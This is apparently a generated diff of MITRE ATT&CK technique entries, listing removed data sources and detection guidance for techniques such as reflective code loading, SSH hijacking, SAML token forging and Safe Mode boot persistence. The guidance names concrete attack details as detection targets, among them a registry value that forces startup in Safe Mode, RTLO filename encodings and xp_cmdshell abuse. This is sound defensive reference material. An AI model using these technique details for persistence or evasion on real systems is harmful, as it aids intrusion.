STIX FieldOld valueNew Value
modified2025-04-25 14:46:24.048000+00:002025-10-24 17:48:40.223000+00:00
x_mitre_detectionThere is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.

[T1498.002] Network Denial of Service: Reflection Amplification

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:59:22.782000+00:002025-10-24 17:48:38.890000+00:00
x_mitre_detectionDetection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.

[T1620] Reflective Code Loading

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'Script: Script Execution', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:27.959000+00:002025-10-24 17:48:44.030000+00:00
x_mitre_detectionMonitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks) + +Monitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1547.001] Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:54.099000+00:002025-10-24 17:49:09.744000+00:00
x_mitre_detectionMonitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. + +Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1218.009] System Binary Proxy Execution: Regsvcs/Regasm

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:58.456000+00:002025-10-24 17:49:21.181000+00:00
x_mitre_detectionUse process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.

[T1218.010] System Binary Proxy Execution: Regsvr32

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:19.846000+00:002025-10-24 17:49:17.377000+00:00
x_mitre_detectionUse process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)

[T1219] Remote Access Tools

Current version: 3.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Drive: Drive Creation', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:25.651000+00:002025-10-24 17:48:42.154000+00:00
x_mitre_detectionMonitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators. + +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. + +[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.

[T1074.002] Data Staged: Remote Data Staging

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Command: Command Execution', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:21.613000+00:002025-10-24 17:48:38.453000+00:00
x_mitre_detectionProcesses that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. + +Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1114.002] Email Collection: Remote Email Collection

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:59:50.429000+00:002025-10-24 17:49:15.355000+00:00
x_mitre_detectionMonitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).

[T1563] Remote Service Session Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Process: Process Creation', 'Logon Session: Logon Session Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:00:02.178000+00:002025-10-24 17:48:50.118000+00:00
x_mitre_detectionUse of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. + +Monitor for processes and command-line arguments associated with hijacking service sessions.

[T1021] Remote Services

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'Network Traffic: Network Connection Creation', 'Command: Command Execution', 'Network Share: Network Share Access', 'WMI: WMI Creation', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:32.234000+00:002025-10-24 17:48:48.472000+00:00
x_mitre_detectionCorrelate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. + +Use of applications such as ARD may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. + +In macOS, you can review logs for "screensharingd" and "Authentication" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)

[T1018] Remote System Discovery

Current version: 3.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:15.859000+00:002025-10-24 17:49:31.319000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)

[T1036.003] Masquerading: Rename Legitimate Utilities

Current version: 2.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Process: Process Metadata', 'Command: Command Execution', 'File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:02.921000+00:002025-10-24 17:49:18.517000+00:00
x_mitre_detectionIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)

[T1091] Replication Through Removable Media

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Access', 'Process: Process Creation', 'Drive: Drive Creation', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:24.231000+00:002025-10-24 17:48:40.752000+00:00
x_mitre_detectionMonitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.

[T1564.009] Hide Artifacts: Resource Forking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata', 'Process: Process Creation', 'Command: Command Execution', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:19.185000+00:002025-10-24 17:49:14.736000+00:00
x_mitre_detectionIdentify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. + +Monitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections.

[T1496] Resource Hijacking

Current version: 2.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Cloud Service: Cloud Service Modification', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Sensor Health: Host Status', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:00:21.372000+00:002025-10-24 17:49:24.276000+00:00
x_mitre_detectionConsider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.

[T1556.005] Modify Authentication Process: Reversible Encryption

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'User Account: User Account Metadata', 'Script: Script Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:00:34.242000+00:002025-10-24 17:49:27.587000+00:00
x_mitre_detectionMonitor property changes in Group Policy: Computer Configuration\Windows Settings\Security Settings\Account Policies\Password Policy\Store passwords using reversible encryption. By default, the property should be set to Disabled. + +Monitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. + +Monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)

[T1578.004] Modify Cloud Compute Infrastructure: Revert Cloud Instance

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Instance: Instance Start', 'Instance: Instance Metadata', 'Instance: Instance Stop', 'Instance: Instance Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:45:42.495000+00:002025-10-24 17:48:21.210000+00:00
x_mitre_detectionEstablish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.

[T1036.002] Masquerading: Right-to-Left Override

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:00:50.575000+00:002025-10-24 17:48:58.683000+00:00
x_mitre_detectionDetection methods should include looking for common formats of RTLO characters within filenames such as \u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.

[T1207] Rogue Domain Controller

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Active Directory: Active Directory Object Modification', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication', 'Active Directory: Active Directory Object Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:15:34.258000+00:002025-10-24 17:48:48.823000+00:00
x_mitre_detectionMonitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) + +Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) + +Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog) + +Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.

[T1565.003] Data Manipulation: Runtime Data Manipulation

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'File: File Deletion', 'Process: OS API Execution', 'File: File Metadata', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:01:11.644000+00:002025-10-24 17:48:37.277000+00:00
x_mitre_detectionInspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.

[T1606.002] Forge Web Credentials: SAML Tokens

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Web Credential: Web Credential Usage', 'Web Credential: Web Credential Creation', 'Logon Session: Logon Session Creation', 'User Account: User Account Authentication', 'Logon Session: Logon Session Metadata', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:01:25.698000+00:002025-10-24 17:48:30.302000+00:00
x_mitre_detectionThis technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML) + +Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)

[T1134.005] Access Token Manipulation: SID-History Injection

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Active Directory: Active Directory Object Modification', 'Process: OS API Execution', 'User Account: User Account Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:45.982000+00:002025-10-24 17:49:16.316000+00:00
x_mitre_detectionExamine data in user’s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory) + +Monitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)

[T1553.003] Subvert Trust Controls: SIP and Trust Provider Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:31.965000+00:002025-10-24 17:48:48.200000+00:00
x_mitre_detectionPeriodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) + +Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) + +Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) + +* HKLM\SOFTWARE\Microsoft\Cryptography\OID +* HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID +* HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust +* HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust + +**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017) + +Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)

[T1021.002] Remote Services: SMB/Windows Admin Shares

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Share: Network Share Access', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:29.701000+00:002025-10-24 17:48:45.700000+00:00
x_mitre_detectionEnsure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)

[T1602.001] Data from Configuration Repository: SNMP (MIB Dump)

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:29.549000+00:002025-10-24 17:49:34.969000+00:00
x_mitre_detectionIdentify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)

[T1505.001] Server Software Component: SQL Stored Procedures

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:02:13.653000+00:002025-10-24 17:49:38.624000+00:00
x_mitre_detectionOn a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.

[T1021.004] Remote Services: SSH

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'Process: Process Creation', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:17.607000+00:002025-10-24 17:48:34.985000+00:00
x_mitre_detectionUse of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. + +On macOS systems log show --predicate 'process = "sshd"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = "ssh" or eventMessage contains "ssh"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) + +On Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.

[T1098.004] Account Manipulation: SSH Authorized Keys

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:39.342000+00:002025-10-24 17:48:55.005000+00:00
x_mitre_detectionUse file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations. + +Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config. + +For network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts.

[T1563.001] Remote Service Session Hijacking: SSH Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Network Traffic: Network Traffic Content', 'Command: Command Execution', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:40:37.838000+00:002025-10-24 17:48:45.240000+00:00
x_mitre_detectionUse of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.

[T1562.009] Impair Defenses: Safe Mode Boot

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:08.076000+00:002025-10-24 17:48:33.044000+00:00
x_mitre_detectionMonitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \* in front of the "Startup" value name: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\["\*Startup"="{Path}"] or by adding a key to HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019) + +Monitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)

[T1596.005] Search Open Technical Databases: Scan Databases

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:02:32.145000+00:002025-10-24 17:49:34.076000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1595.001] Active Scanning: Scanning IP Blocks

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:02:44.660000+00:002025-10-24 17:49:28.603000+00:00
x_mitre_detectionMonitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1053] Scheduled Task/Job

Current version: 2.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Scheduled Job: Scheduled Job Creation', 'File: File Creation', 'Process: Process Creation', 'Container: Container Creation', 'Command: Command Execution', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 21:41:11.473000+00:002025-10-24 17:48:38.539000+00:00
